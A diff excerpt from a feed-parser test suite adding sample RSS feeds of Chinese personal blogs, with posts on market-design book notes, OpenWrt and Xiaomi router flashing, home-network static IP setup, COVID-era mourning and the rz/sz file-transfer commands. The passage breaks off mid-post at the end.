    • +
    • 《树上的男爵》。最终还是从树上下来了。
    • +
    • 我们每一天都在吵。知道为什么在我和他们的每一次争吵里我都会赢吗。因为他们让我赢的。
    • +
    • 记者: you like the unguarded moments.
    • +
    • 你不需要一个律师来告诉你什么是正确的,什么才是合理的。他们知道什么是对的还是错的。某人在热烈宣扬的正义,往往意味着不正义。
    • +
    • people get the face they deserve.
    • +
    • 你的偶像是谁,Will吗,很接近了,是ed murrow。
    • +
    • i don’t want to expand the definition of news, i want to narrow it.
    • +
    • i am not talking about apparatus.
    • +
    • please tell me you know i am right, please!
    • +
    • Irish stoicism
    • +
    • baptism
    • +
    • i am here to beg you not to do it.
      +

      一个被raped的princeton student,要利用互联网复仇。ACN的新CEO认为这是一个promo的节目,邀请受害者和凶手在同一个节目对话。producer不希望这个节目发生。可是当他去访问受害者做pre-interview的时候,受害者乞求他去做。
      极端吸引极端。我的眼泪出来了,我的伤口在这里。让我复仇吧。
      所有的outrage都可以通过复仇来反击。
      总有人会享受相互伤害,但那不是文明。

      +
      +
    • +
    • mission to civilize
    • +
    • you know what, in the 6 minutes ago, we did the news well, you know why? because we decide to.
    • +
    • “There’s a hole in the side of the boat.That hole is never going to be fixed and it’s never going away and you can’t get a new boat. This is your boat. What you have to do is bail water out faster than it’s coming in.”
    • +
    • 我很感动你依旧反抗我。这才是我想要的。

      +
    • +
    • netflix 用支线剧情来做教育视频。

      +
    • +
    +

    知识付费。

    + +

    2019.1.2

      +
    • 微信两次把重要功能留给下拉手势了:小程序和时刻视频。
    • +
    • 视频配乐来自物体识别。

      +
    • +
    • 私家车车身卖广告。

      +
    • +
    • 对于其他生物而言。老弱病残意味着死,而我们生而为人,意味着他们还可以有尊严地活着
    • +
    +

    重新编辑的权利:

    +
      +
    • 微博在你进行了推广之后,不允许你重新编辑微博了!很有意思的点。你如果阅读量少,可以无限制修改!
    • +
    +

    2019.1.1

    2018年度总结: 抵抗存在的被遗忘 - 2018年度总结

    +

    素材

    动荡的生活,容易带来一种时光飞逝的感觉。当我还没来得及记住多伦多的整个夏天,眼前的雪,带来了纽约的冬天。

    +

    昨晚登机回国,和小伙伴们告别,哭得稀里哗啦。候机的时候,想看会儿书,本来在kindle里昆德拉的《不朽》开了个头,但最后还是认输地从背包里掏出来加缪的这本手记。那一刻我有一种感觉,我以后可能再也离不开他的文字了。

    +

    我很难解释清楚这个秘密。我想起他总提到的反抗。这意味着在一个分崩离析的世界里保持清醒,却也不依赖理性来获得希望。

    +

    加缪。有意思的几件事。小偷的正直。和妓女的爱。

    +

    每个人身上都有些荒谬的,矛盾的地方。某个人在某些特定场合热烈宣扬的正义,或许是极大的不正义。

    +

    每个人都带着自己的荒谬生活着。回忆,被传颂成诗。

    +

    为什么我不喜欢别人把我当作好人。我会习惯性的说我不是。

    +

    堂吉柯德是为了反对中世纪的骑士文化而写就的反骑士小说,而塑造了最脍炙人口的骑士主义。我要的,是自由。

    +

    自由,是选择的权利。

    +

    今年对我来说的关键词是选择和荒谬。是徘徊和坚定上路。是沉默和阳光。为了纠正我天生的无动于衷……

    +

    那些我经常写下的,是祈祷,还是审判。

    +

    有时候真的蛮害怕的,失去感受的能力,像失去雨的冰凉。失去完整叙述一件事的能力。时间就像风一样流过,而我却看不见风的尾巴。

    +

    关键词

      +
    • 人容易变得很宏大。带着更大规模的爱与恨,喧嚣和寂寞。
    • +
    • 我们要允许有些东西它不会改变。它需要代价。它没有意义。
    • +
    • 每个时代的愚昧都是固定的,而且装饰着不同的样子。我感兴趣的,是你的理由和过往,而不是你的选择。
    • +
    • 假装。
    • +
    +

    我的回忆像文字,而文字,也不过回忆。它被静静地写下来,没有什么意义,只期待着被朗读过。

    +

    《小说的艺术》里他提到,“小说的意义是发现只有小说才能发现的,探索人的具体的生活,保护它,抵抗存在的被遗忘。

    +
    +

    这个时代是流行告别的。亦或者说,只在我们告别的时候,我们才想起来它们的存在。

    +
    +
      +
    • 游戏时代和严肃性。
    • +
    • 和庆祝无意义。
    • +
    • 自由的背面。是束缚。是彷徨。是媚俗。
    • +
    +

    微信公众号:沉默与阳光
    简介:为了改变天生的无动于衷。

    +]]>
    + + + + + + + + + + + + + + + +
    + + + <![CDATA[价格无法调节的市场 -《共享经济》阅读批注]]> + + http://chocoluffy.com/2019/01/20/价格无法调节的市场-《共享经济》阅读批注/ + 2019-01-21T00:54:51.000Z + 2019-09-21T14:30:39.244Z + 4/5星。

    +

    区别于价格市场,配对市场里,价格不能清理市场,市场参与者在意他们和谁交易,以及建立长期关系。由配对市场引出的几个规则很有意思,比如2012年诺奖理论的“延迟接受”算法,隐式市场里的第二高价拍卖机制,以及在稠密市场的情况下对堵塞的不同反映机制(提前交易或者最后入场等)。关于市场设计同样重要的还有(1)如何形成市场的稠密性。(2)解决市场堵塞。(3)保护设计使得参与者能够安全透露真实意愿。(4)合理释放信号促进市场效率。没有五星的理由是作者太执着于特定细分市场的规则分析,而且中译版的题目有凑热点的嫌疑1,这本书并没有主要讨论大家希望了解的共享经济,而是在分析匹配市场的规则设计,也算是让我回顾了一下本科的博弈论这门课。拍卖是个人类很古老而智慧的发明,看看以后我可以怎么运用起来。

    +
      +
    • 价格无法调节。甚至不应该调节的时候。考虑的是配对的市场。
    • +
    • 除去价格市场,还有这个配对市场。双面配对的过程。
    • +
    • 价格,某种意义上消除了歧视。(区分理解价格歧视)只要你买得起,你达到价格。配对市场,是很远古的一种交换方式。
    • +
    • 【逻辑】我们思考正面,为了更好的认识反面。
    • +
    • 市场不是完全自由放任的,因为市场参与者都知道市场在运行的规则。
    • +
    • 互联网,使得市场稀疏成为可能。以色列的很多餐厅,固定晚上八九点才开门。一个稠密的市场。也只有在稠密的市场,中介才会存在。而稠密的市场一个弊端就是堵塞的出现。而堵塞的出现意味着(a)渠道的重要性已经盖过了商品本身,(b)交易渴望提前完成。而市场之所以要降价,是为了降低市场的稠密度。
    • +
    • 简单与复杂。成长,是一个慢慢变复杂的过程。简单,在于专注于自己;复杂,来自于别人。
    • +
    • 进化是配对的缔造者。
    • +
    • 目前的交易都是匿名的。基于纸币的交易。
    • +
    • 商品越无法标准化,越成为一个配对市场而不是一个自由交易市场,同理的,如果我希望设计一个自由交易市场,首要任务就是标准化。小麦的批次是没有不同的。而学生申请等是极度个性化的。配对市场里,价格不能清理市场,市场参与者在意他们和谁交易,以及建立长期关系。
    • +
    • 市场会逐渐走向贫富悬殊的极端,因为稠密性的好处。
    • +
    • 肾脏交换项目。核心是使参与同个交易的市场变得稠密。原本只能够两者交换的情况变成一个链式结构,允许陌生人之间的匹配,然后同时手术交换。
    • +
    • 速度竞争还是价格竞争,哪一个利于市场的健康发展。金融市场的一个变化是,恢复价格竞争,使得优先几毫秒获取到信息的这个行为失效。这个模型里,市场内一秒内的报价被累加,取代交易在快速交易者之间进行的情况,而在那些提交了更高报价和更低询价的交易者之间进行。匹配市场突出速度竞争,会导致市场建造渠道来达到目的,造成资源浪费;价格竞争,使得对信息渠道的投资失去意义,而转向对实际价值的预估。 (以前交易所都要建的的很近,甚至交易所还推动了光纤的发展)。价格竞争的一个弊端,就是速度,无法立即完成交易。
    • +
    • 在市场稠密(堵塞)时选择提前竞争的,往往是次优者。
    • +
    • Airbnb和Uber的例子,把原本是提前预定(缺乏交流)的市场聚合成一个稠密的市场,并提供了工具来实时交流。这些市场的特征:需要花费大量时间去发现和交流信息资源。这就是机会。
    • +
    • Ebay原本是通过拍卖出售的,但是后来也改成了固定价格出售,因为这种交易方式更快,你可以立即买到任何你想要的东西,且无须承担拍卖失败的结果(尝试另一次拍卖)。拍卖的弊端:你必须等待他人做出选择才能做决策。优势:你可以预估它对自己的真实价值。
    • +
    • 典型的匹配市场:房屋买卖,就业市场,升学市场。最终因为市场堵塞都导致一系列表现为以有限时间内决策的交易方式。
    • +
    • 需要人为制造一些不方便。这也是熟人社会的特点,设计一个依赖良好信誉的社会。而一个陌生人的社会,如何让人相信和陌生人交易也是安全的。事实是,买家和卖家都希望从对方那里得到安全保证。
    • +
    • 相互以用户名评分(双方几乎都是好评)-> 用户可以匿名给商家评论。
    • +
    • 一个很有意思的现象,ebay曾经的拍卖机制导致一个策略就是最后进场。而自由价格市场在市场堵塞的时候往往导致的策略是提前交易。拍卖机制导致用户隐藏自己的关键竞价信息,当参与者不愿透露真实信息时,市场往往会失效。
    • +
    • “延迟接受”算法:(2012年诺贝尔经济学奖)
        +
      • 买家、卖家各准备一个偏好排序
      • +
      • 每一个卖家给首选发邀请
      • +
      • 买家在所有收到的邀请里默认选择自己偏好最高的一家(或N家,根据具体情况),并回绝其他的选项。
      • +
      • 每一个卖家再依次给第二、第三顺位等发送邀请
        可以证明这个匹配算法里不会产生阻塞配对(配对结果是稳定的)。同时参与者不会提前离场,因为值得等待。同时这个市场并不堵塞,因为参与者提前做出了决策。(不必等待他人所做决定而得到自己的结果);以及参与者能够透露自己的真实意向;前提:需要一个机器中介,在收到双方的意向之后同时统筹做出匹配结果的回应。(同理反过来也行,比如每一个买家给首选的卖家发邀请,卖家方可以保留前N个选择,cache住和未来通过非首选收到的邀请一起比较,取前N个。)
        +

        而现实生活中的很多市场往往还达不到上文所讨论的稠密程度。

        +

        没想到复习了一遍本科上的博弈论。

        +
        +
      • +
      +
    • +
    • 细节决定设计。好的市场设计,是鼓励参与者去交流他们真实的想法并且能够保护住的。
    • +
    • 匹配市场和信号。延迟接受算法的前提是双方的偏好排序。有时候在“延迟接受”算法所需要的偏好排序是在市场里不存在的,比如美国的大学申请Common Application,学生可以通过这个系统申请大部分的美国大学,但同时每一份申请都是独立且平等的。这个时候提高市场效率的方式是,设计机制暴露参与者的偏好信号- (比如在系统里添加一个功能是允许用户给其中三所学校发送标记,说明自己有优先的意愿。)同样的场景也发生在社交相亲(Dating)的市场里,迷人的女性会收到大量的信息而无法及时回复,而男士会因此给更多的女性发送信息,导致市场堵塞。经济学里的一个概念叫做“廉价的对话”,一旦对话变得廉价,它便不再能可靠地传递任何信息。比如一封“我爱你”的邮件,一旦群发给一群人的时候,它就不再有意义了。所以很多仪式、时尚会刻意营造一种稀缺感。**当装饰泛滥的时候,它便不再能够传达意义了。
      +

      于是一个Dating App可以这么设计。设计一个虚拟的物件(譬如玫瑰),每个人每天限制限量有3只(少量),无法通过交易得到。可以在发送信息的时候附上这个物件以传达更多的真实偏好信号,而促进市场效率。

      +
      +
    • +
    • 生物界有一种现象叫做“尾羽”,尾羽能够吸引异性,但同时也容易吸引捕食者的注意。这个特征被进化所保留了,实际上传达的是一种“健康”的信号,“即便我有那么不方便的尾羽我依旧存活了下来”证明我的生存能力。人类社会里也是有很多“尾羽”现象的。资产多的银行会修建恢弘的大楼,为了让人们相信他们有雄厚的财力而且不会逃跑到别的地方去。阻塞市场里,注意区别主动和被动的信号,主动的信号传达的信息优于被动的信号。兴趣偏好是主动的,尾羽、好的成绩、恢弘的大楼是有利条件,是被动的。另一个思考的方向是,这个信号是否对双方都有利益价值。尾羽对于雌孔雀、华丽大楼对顾客都没有直接利益,但在拍卖中,发信号者的付出与接受者的收益相等。
      +

      约会Dating App因为特别容易聚集陌生人,能够很容易形成一个稠密的市场,但是市场的堵塞是影响其市场有效性的重要原因。

      +
      +
    • +
    • 证明稀缺资源,其实就是在证明机会成本:我本可以把它用在别的地方,我本可以把信号发给别人。
    • +
    • 在确定拍卖物品对自己的价值的时候,已第二高价成交的隐式买卖优于最高价的公开买卖。买方的利润:物品对自己的真实价值 - 自己所支付的价格。在最高价成交的公开买卖中,买方为了收益,会报小于自己实际价值的价格。而在第二高价的隐式买卖中,买方报出自己实际价值是安全的,即如果成交获得的利润是稳定的,无关于自己的报价。而对于卖方来说,第二高价隐式买卖市场里成交的价格反而会高于最高价成交公开买卖的成交价格,因此也是有利的。但在买家无法确定物品的价值的时候,情况会变化。
    • +
    • 还有一种荷兰式拍卖,强调完成拍卖的时间要迅速,于是反向从一个固定价格向下移动,直到有人按停秒表并按照那个暂停位置的价格完成买卖。
      +

      总结:拍卖最重要的一个功能就是:价格发现。但需要提防由于信息公开导致的价格狙击,即最后入场的问题。

      +
      +
    • +
    • 交易金钱化的弊端:(以肾脏买卖举例)
        +
      • 客观化。失去道德价值。
      • +
      • 强迫性。当价格满足时一定会完成的交易。
      • +
      • 失去同情心。譬如公众会认为穷人和弱势群体可以通过买卖肾脏来换钱,那么不需要给予同情。
      • +
      +
    • +
    • 肾脏买卖的一个极端推理是:心脏买卖。如果达成交易的时候你会死呢?
    • +
    • 亚当斯密在《国富论》里说,“我们期待的晚餐不是来自肉贩、啤酒酿造者或者面包师傅的善行,而是因为他们考虑到自身的利益。”
    • +
    • 解决方案,是市场设计的挑战。但也正是因为有人反感,我们才有机会去理解这些反感,也能理解在极端情况下它对市场意味着什么。同时这也是一个社会问题。志愿兵是有工资支付的,服役是一个荣耀的被社会认可的经历,同样的,我们也值得期待那些捐献过肾脏的经历成为认可的经历。
    • +
    • 很有意思的推理。我告诉你A、B、C三家餐厅傍晚处理拥挤问题的方式,由此我可以推理出他们桌布的颜色。
    • +
    • 哈耶克:“自由主义者对社会的态度,就像园丁照料花草的态度,为了创造有利于花草成长的最舒适环境,必须充分了解植物结构和植物起作用的方式。”在花园,完全不靠任何帮助而自由生长的是野草。
      +

      而恰好自由价格市场是最合适的一种发现价值(发现信息,反馈信息)的机制。

      +
      +
    • +
    • 哈耶克:“比起放任原则,对自由市场最大的伤害可能是那些自由主义者对经验法则的固执己见。”
    • +
    • 市场就像语言。它们都是古老的人类发明,都是人类用来自我管理、合作、协调和与他人竞争,最终找出谁得到了什么的工具。市场是人类发明物。就像过去几千年农业所经历的转变。第一批农民种的是他们找到的东西,但随着时间推移,农民能够保留他们种的最成功的作物的种子,然后在接下来的几年种植这些种子,所以他们不经意地成为了植物栽培者。
    • +
    +

    1. 1.原版书名《Who Gets What - and Why: The New Economics of Matchmaking and Market Design》,中译版名字《共享经济 - 市场设计及其应用》。
    ]]>
    + + + + + + + + + + + + + + + + + + + +
    + +
    diff --git a/tests/feedlib/testdata/parser/warn/https-einverne-github-io-rss-xml.xml b/tests/feedlib/testdata/parser/warn/https-einverne-github-io-rss-xml.xml new file mode 100644 index 0000000..b351004 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-einverne-github-io-rss-xml.xml @@ -0,0 +1,2025 @@ + + + + Verne in GitHub + Verne in GitHub - Ein Verne + https://einverne.github.io + + Mon, 06 Apr 2020 02:49:50 +0000 + Mon, 06 Apr 2020 02:49:50 +0000 + 60 + + + + OpenWrt 学习笔记 + <h2 id="硬件">硬件</h2> + +<h3 id="cpu">CPU</h3> + +<ul> + <li>Atheros/QualCom 高通 (QCA)</li> + <li>BroadCom 博通 (BCM)</li> + <li>MediaTek 联科发 (MTK)</li> + <li>RealTek 瑞昱</li> +</ul> + +<h3 id="ram">RAM</h3> + +<ul> + <li>SDRAM</li> + <li>DDR, DDR2, DDR3</li> +</ul> + +<h3 id="romflash">ROM(Flash)</h3> + +<ul> + <li>SPI Flash</li> + <li>NOR Flash</li> + <li>NAND Flash</li> +</ul> + +<h3 id="wifi-芯片">WiFi 芯片</h3> + +<ul> + <li>USB(速度相对较慢)</li> + <li>PCI-e</li> +</ul> + +<h2 id="软件">软件</h2> + +<h3 id="bootloader">BootLoader</h3> + +<h2 id="wiki">Wiki</h2> +<p>CPU, 网卡数据库 Wiki:</p> + +<ul> + <li><a href="https://deviwiki.com/">https://deviwiki.com/</a></li> +</ul> + +<h2 id="reference">reference</h2> + +<ul> + <li>《跟着佐大学 OpenWrt 开发入门》</li> +</ul> + + https://einverne.github.io/post/2020/04/router-learning.html + https://einverne.github.io/post/2020/04/router-learning + Sun, 05 Apr 2020 00:00:00 +0000 + + + + 小米路由器 3G 刷机及固件 + <p>记录一下小米路由器 3G 的刷机历程,过程步骤是比较简单,但就是配置过程有点心酸,理论上是应该直接就能工作的,但是我的情况比较特殊,想用 OpenWrt 的无线中继来着,但是用别人的固件,和我自己编译的固件都无法在小米路由器 3G 上实现无线中继。</p> + +<h2 id="openwrt-固件">OpenWrt 固件</h2> +<p>我的另一台 WNDR 3800 直接配置就可以无线中继,但是小米的配置后就各种问题。</p> + +<h3 id="无线未开启或未关联">无线未开启或未关联</h3> + +<p>最一开始就是,开启无线中继后 5G 信号显示,“无线未开启或未关联”。</p> + +<p>网上查到解决方法是需要将国家修改为美国,2.4G 信道设置为 11, 5G 信道设置为 149(如果是无线中继,那么和主路由保持一致即可),然后重启路由器。</p> + +<p>重启路由器后确实看到一块网卡已经可以,但总是有一块还是报错。</p> + +<p>查看内核日志</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 246.611715] wlan1: deauthenticated from fc:7c:01:dd:5b:7a (Reason: 15=4WAY_HANDSHAKE_TIMEOUT) +</code></pre></div></div> + +<p>去查看这个日志也找不到原因。故放弃转下载了 Padavan 的固件。</p> + +<h3 id="padavan">Padavan</h3> +<p>Padavan 是俄罗斯开发者在华硕的路由器系统中延伸而来。Padavan 针对 mtk 芯片,梅林固件是针对博通芯片。功能相似。</p> + +<p>在 Padavan 的固件中,直接 5G,设置无线桥接</p> + +<ul> + <li>无线 AP 工作模式: AP-Client + AP</li> + <li>无线 AP-Client 角色:这里我选 LAN Bridge(因为我想要我这台接入的设备 IP 和主路由 IP 在同一个网段),而如果你想要 Padavan 连接的设备有一个新的 IP 段,这里可以选择 WAN(Wireless ISP)</li> + <li>然后选择上级 SSID,自动获取信道,授权方式,密码,应用</li> +</ul> + +<p>到这里就完成了 Padavan 中设置无线中继。另外我还去 LAN 设置中把 LAN 的 DHCP 关了。</p> + +<p>然后再在 LAN 设置中将 LAN IP 地址,也就是 Padavan 的管理后台设置一个在主路由中的静态 IP,我的主路由网关是 192.168.2.1 所以我给 Padavan 设定了一个 <code class="language-plaintext highlighter-rouge">192.168.2.2</code>。</p> + +<ul> + <li>源代码地址:<a href="https://bitbucket.org/padavan/rt-n56u/src/master/">https://bitbucket.org/padavan/rt-n56u/src/master/</a></li> + <li>固件下载地址:<a href="https://opt.cn2qq.com/padavan/">https://opt.cn2qq.com/padavan/</a></li> +</ul> + +<p>另外要注意的是 Padavan 固件中有一个路由器运行模式,如果像我一样作为无线中继使用,也别尝试接入点模式 (AP) 模式,除非你一定要把路由器当成交换机使用。</p> + +<p>接入点模式的介绍:</p> + +<blockquote> + <p>MI-R3G 连接到外部有线 / 无线路由器并且提供无线网络共享。 该模式下 NAT、防火墙、UPnP、DHCP 服务不可用,并且 WAN 端口直接连接到 LAN 端口。</p> +</blockquote> + +<p>在该模式下 WAN 口的作用也和 LAN 口一样。那么假如安装我上面的配置,Padavan 就无法进入管理后台了,因为 Padavan 只作为一个无线交换机在发挥功能。所以如果要使用该模式,一定把 LAN 口地址改成和无线中继的网段不一样的网段,这样了解网线,然后使用静态 IP 地址连接电脑还能上管理后台,否则就只能恢复出厂设置了。</p> + +<h2 id="如何进入-breed">如何进入 Breed</h2> + +<p>Breed 下载地址:<a href="https://breed.hackpascal.net/">https://breed.hackpascal.net/</a></p> + +<p>刷入 Breed 的方法就不说了,网上太多了。这里记录一下怎么进入 Breed,因为我总是忘记。</p> + +<ul> + <li>断电</li> + <li>按住 reset</li> + <li>通电</li> + <li>指示灯先黄色闪烁,然后蓝色闪烁</li> + <li>用网线连接 LAN,和电脑</li> + <li>进入 <code class="language-plaintext highlighter-rouge">192.168.1.1</code></li> +</ul> + +<h2 id="几大路由器固件的历史">几大路由器固件的历史</h2> +<p>思科发布 wrt54 路由后未遵循开源协议被告,之后迫于压力发遵循 GPL 发布了 wrt,再之后 wrt 延伸出社区版的 openwrt、HyperWRT 等,华硕也发布了 asuswrt(GPL 开源协议)。在华硕开源 asuswrt 后,开发者们基于此开发了梅林和 Padavan (老毛子)。</p> + +<p>而开源社区这边,openwrt 又衍生出 dd-wrt、石像鬼、lede 等。其实现在用 arm 架构的路由器基本上全是 wrt 系统,包括 newifi, 极路由等等。</p> + + + https://einverne.github.io/post/2020/04/mi-wifi-3g.html + https://einverne.github.io/post/2020/04/mi-wifi-3g + Sat, 04 Apr 2020 00:00:00 +0000 + + + + 个人的局域网网络设置整理 + <p>最近因为想要调查我屋里网络带宽的瓶颈,把整个家里的网络环境整理了一番,也把本来乱七八糟的各种 IP 也梳理了一下。纯粹整理,如果不关心的可以跳过。</p> + +<p>现在我有两台路由器,准确来说是三台,一台主路由基本不动,负责接入互联网,稳定为主,千兆。一台房间的副路由,无线中继主路由,IP 由主路由分配,还有一台本来做了无线桥接,有一个新的网段,现在想逐渐弃用,转移到同一个网段,便于管理。</p> + +<h2 id="路由器设置-dhcp">路由器设置 DHCP</h2> +<p>主路由和副路由的网络设置,就不赘述,主路由没有什么设置,主要是副路由需要设置无线中继 +AP,我这里没有用主路由的 SSID,新产出了一个新的 SSID,如果在个人家中其实用同一个 SSID 即可,可以无缝切换。</p> + +<h2 id="qnap-static-ip">QNAP static ip</h2> +<p>QNAP 设置静态地址</p> + +<p>网络与虚拟环境中,找到之前设定的对应的接口,QNAP 中叫做虚拟交换机,直接通过 UI 界面修改即可。</p> + +<h2 id="proxmox-static-ip">Proxmox static ip</h2> +<p>Proxmox 的网络接口配置在 <code class="language-plaintext highlighter-rouge">/etc/network/interfaces</code> 文件中。</p> + +<p>类似这样:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>auto lo +iface lo inet loopback + +iface enp3s0 inet manual + +auto vmbr0 +iface vmbr0 inet static + address 192.168.2.100 + netmask 255.255.255.0 + gateway 192.168.2.1 + bridge_ports enp3s0 + bridge_stp off + bridge_fd 0 +</code></pre></div></div> + +<p>修改其中的 address, netmask, gateway 即可。修改保存后重启,或者 <code class="language-plaintext highlighter-rouge">systemctl restart networking.service</code></p> +<h2 id="raspberry-pi-static-ip">Raspberry Pi static ip</h2> +<p>树莓派是网线接入,所以需要设置 eth0 的静态地址。</p> + +<p>如果是用网线,eth0 端口,编辑 <code class="language-plaintext highlighter-rouge">/etc/dhcpcd.conf</code>:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>interface eth0 +static ip_address=192.168.2.4/24 +static routers=192.168.2.1 +static domain_name_servers=192.168.2.1 8.8.8.8 +</code></pre></div></div> + +<p>重启:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo reboot +</code></pre></div></div> + +<p>如果使用的是无线网卡,那么需要设置 <code class="language-plaintext highlighter-rouge">wlan0</code> 网卡:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># 查看当前配置 +ifconfig -a +# 查看 wifi 配置 +less /etc/wpa_supplicant/wpa_supplicant.conf +# 修改配置 +sudo vi /etc/dhcpcd.conf +</code></pre></div></div> + +<p>修改内容,和上面类似,注意把 IP 替换成对应内网的地址,别直接复制使用:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>interface wlan0 +static ip_address=192.168.2.4/24 +static routers=192.168.2.1 +static domain_name_servers=192.168.2.1 8.8.8.8 +</code></pre></div></div> + +<p>注意配置 Raspberry Pi 网卡地址的时候千万要小心,否则一旦配置错误,如果又是作为服务器使用的话,可能造成无法获取局域网地址从而无法连接,那么就可能需要键盘和显示器来登录重新配置,所以谨慎。</p> + +<h2 id="other-devices">Other devices</h2> +<p>其他的 Linux PC 可以选择 DHCP,也可以配一个静态的 IP,因为不需要连接所以不知道自动获取的 IP 也关系不大。</p> + +<h2 id="为什么路由器的设置地址都是-192168-开头">为什么路由器的设置地址都是 192.168 开头</h2> +<p>IPv4 地址协议中预留了 3 个 IP 段,作为保留地址给专有网络使用。</p> + +<ul> + <li>A 类地址:10.0.0.0–10.255.255.255</li> + <li>B 类地址:172.16.0.0–172.31.255.255</li> + <li>C 类地址:192.168.0.0–192.168.255.255</li> +</ul> + +<p>那么回到这个问题上,为什么家用的路由器默认分配的地址都是 192.168.1.x 或者 192.168.2.x 等等,举一个简单的例子,假如路由器使用 <code class="language-plaintext highlighter-rouge">192.168.1.1/24</code> 网段,那么在这个网络中可以容纳的机器数是 <code class="language-plaintext highlighter-rouge">192.168.1.2-255</code> 共 254 多个可用的 IP,一般家庭的设备连接足够。当然能够带动这么多设备的路由器性能也需要足够好了。</p> + +<p>而假如你的局域网中可预期将会有几千几万太设备那么必然 192.168.1.x 的网段是不能用的,必须用到</p> + +<ul> + <li><code class="language-plaintext highlighter-rouge">172.16.0.0/12</code> 可容纳 1048576 个地址</li> + <li><code class="language-plaintext highlighter-rouge">10.0.0.0/8</code> 可容纳 16777216 个地址</li> +</ul> + +<p>下面两个地址自然个人是用不这么多的。</p> + +<h2 id="reference">reference</h2> + +<ul> + <li><a href="https://zh.wikipedia.org/wiki/%E4%BF%9D%E7%95%99IP%E5%9C%B0%E5%9D%80">保留 IP 段</a></li> + <li><a href="https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing">https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing</a></li> + <li><a href="https://www.ipaddressguide.com/cidr">CIDR 工具</a></li> +</ul> + + https://einverne.github.io/post/2020/04/isolate-network.html + https://einverne.github.io/post/2020/04/isolate-network + Sat, 04 Apr 2020 00:00:00 +0000 + + + + 没有反思的哀悼聊胜于无 + <p>每次禁止娱乐都会让我想起《无限挑战》,最近在系统性了解韩国近代史后,再回来看《无限挑战》,2014 年发生震惊全韩国的世越号沉船事件后,整个韩国陷入巨大的悲痛,当然《无挑》也停播两周,但是两周后播出了长达一个月的《选择特辑》,我经常把他称之为选举特辑,因为 PD 就是用选举人制度让每一个 MC 都体验了一把总统候选人的角色。金 PD 对于这件事情没有直接的回击,反而用一种独特的视角去切入,悲剧既然发生了,我们有办法做到下一次不再犯错吗,有办法弥补当前的过失吗。金 PD 用自己的节目向世人宣告:”有“,那就是“选择”。 +每一个人都有选择的权利,只有每一个人都参与到整个社会的运行中,才能阻止这样的事情再此发生。于是后面的事情似乎大多数中国人都比较清楚 —- 朴槿惠被弹劾,新的总统被选上任。当然每个国家都有其自身的问题,但要看整个国家的历史向着哪一边前进。 +今天所有的娱乐节目停止,所有线上线下都在哀悼,可是我们哀悼什么呢?不幸染病的普通人?还是连名字都不能提的吹哨人?还是因为病毒而奋战在一线的医护工作者?对我们当然要哀悼,还要铭记。不仅要哀悼当下,还要哀悼这样的事情这已经发生了多少次。为什么每一次都去哀悼,然后再忘记,然后有发生悲剧,然后再哀悼吗?还有多少人还记得 SARS 的吹哨人?还有多少人还记得 SARS 感染的后遗症患者?还有多少人还记得 SARS 第一线的工作人员?说好的不要忘记他们呢?说好的会照顾他们呢?然而当历史车轮碾过的时候,这些曾经的哀悼就像是从来没有存在过。 +如今我们要哀悼,我们当然要哀悼,我们不仅要哀悼不幸逝去的人,还有哀悼消失的文字,消失的声音。太多的文字还没有被世人所阅便从虚拟的二进制世界消失了,太多的声音还没被听见就被掐断了声带。于是我反而羡慕起世越号后韩国所保留下的史料,从文字,图像,声音,到画面,每一年都被拿到聚光灯下被审阅,即使已经过去 6 年的今天,依然还有人在为这件事情发声,2020 的奥斯卡大部分的媒体的目光都被《寄生虫》所吸引,但实际还有一部短片《In the Absence》获得了提名。6 年过去了,他们还记得。并且提醒我们这需要被记住。可我们谁还记得长江之上的”东方之星号客轮”的事故,这也是有 442 人死亡的大型事故啊,并且这件事情正好发生在世越号之后一年啊。</p> + +<p><img src="/assets/movie-in-the-absence-poster.jpg" alt="movie in the absence poster" /></p> + +<p>我们有反思吗?哀悼真的有用吗?禁止娱乐就真的能让人记住这个事情吗?满屏的黑白真的能给留下的人一点心里安慰吗?有的时候反而通过娱乐 —- 综艺,歌曲,影视 —- 一遍一遍的告诫后来的人,我们不能犯下同样的错误才真的有用。</p> + +<p>如果真的就这样哀悼过去了,我真的害怕很多年以后,如果被记住的只有“果断的封城”,“英明的决策”,那如果病毒再来一次,我怕我就可能是那个被历史车轮碾过的人了。</p> + + https://einverne.github.io/post/2020/04/covid-19-thinking.html + https://einverne.github.io/post/2020/04/covid-19-thinking + Sat, 04 Apr 2020 00:00:00 +0000 + + + + 每天学习一个命令:使用 rz sz 向服务器发送文件 + <p>搜索 rz sz 命令使用方式进来的,可以不用往下看了,直接学习 <a href="/post/2017/03/scp-copy-file-between-machines.html">scp</a> 或者 <a href="/post/2017/07/rsync-introduction.html">rsync</a> 吧, rz sz 看了一下还是有很多限制的。</p> + +<p>虽然它可以实现向服务器发送文件,或者接受服务器的文件,但是限制条件必须在 screen 中执行,另外如果要在 Tmux 中使用还需要特殊的 hack <sup id="fnref:t"><a href="#fn:t" class="footnote">1</a></sup></p> + +<h2 id="使用">使用</h2> +<p>所以最基本的使用就是:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rz -be +</code></pre></div></div> + +<div class="footnotes"> + <ol> + <li id="fn:t"> + <p><a href="https://v2ex.com/t/379440">https://v2ex.com/t/379440</a> <a href="#fnref:t" class="reversefootnote">&#8617;</a></p> + </li> + </ol> +</div> + + https://einverne.github.io/post/2020/04/send-file-to-server-rz-sz.html + https://einverne.github.io/post/2020/04/send-file-to-server-rz-sz + Wed, 01 Apr 2020 00:00:00 +0000 + + + + 分析家里局域网 WiFI 瓶颈 + <p>目前我的情况是,家中有一个千兆主路由放在客厅接外面的宽带,而我自己的房间有一台比较老的 Netgear 3800 路由来无线桥接连接外面的主路由,因为我不想我的 3800 路由中的设备暴露到主路由的设置中,所以用了 OpenWrt 的桥接模式。但是随着我在 3800 这台路下接的设备增多,导致目前 3800 这台路由不堪重负,已经影响到了我日常 streaming 局域网 NAS 中的电影。所以最近想更换一下这台已经 8 年历史的 WNDR 3800 路由器。</p> + +<p>首先我了解了一下,WNDR3800 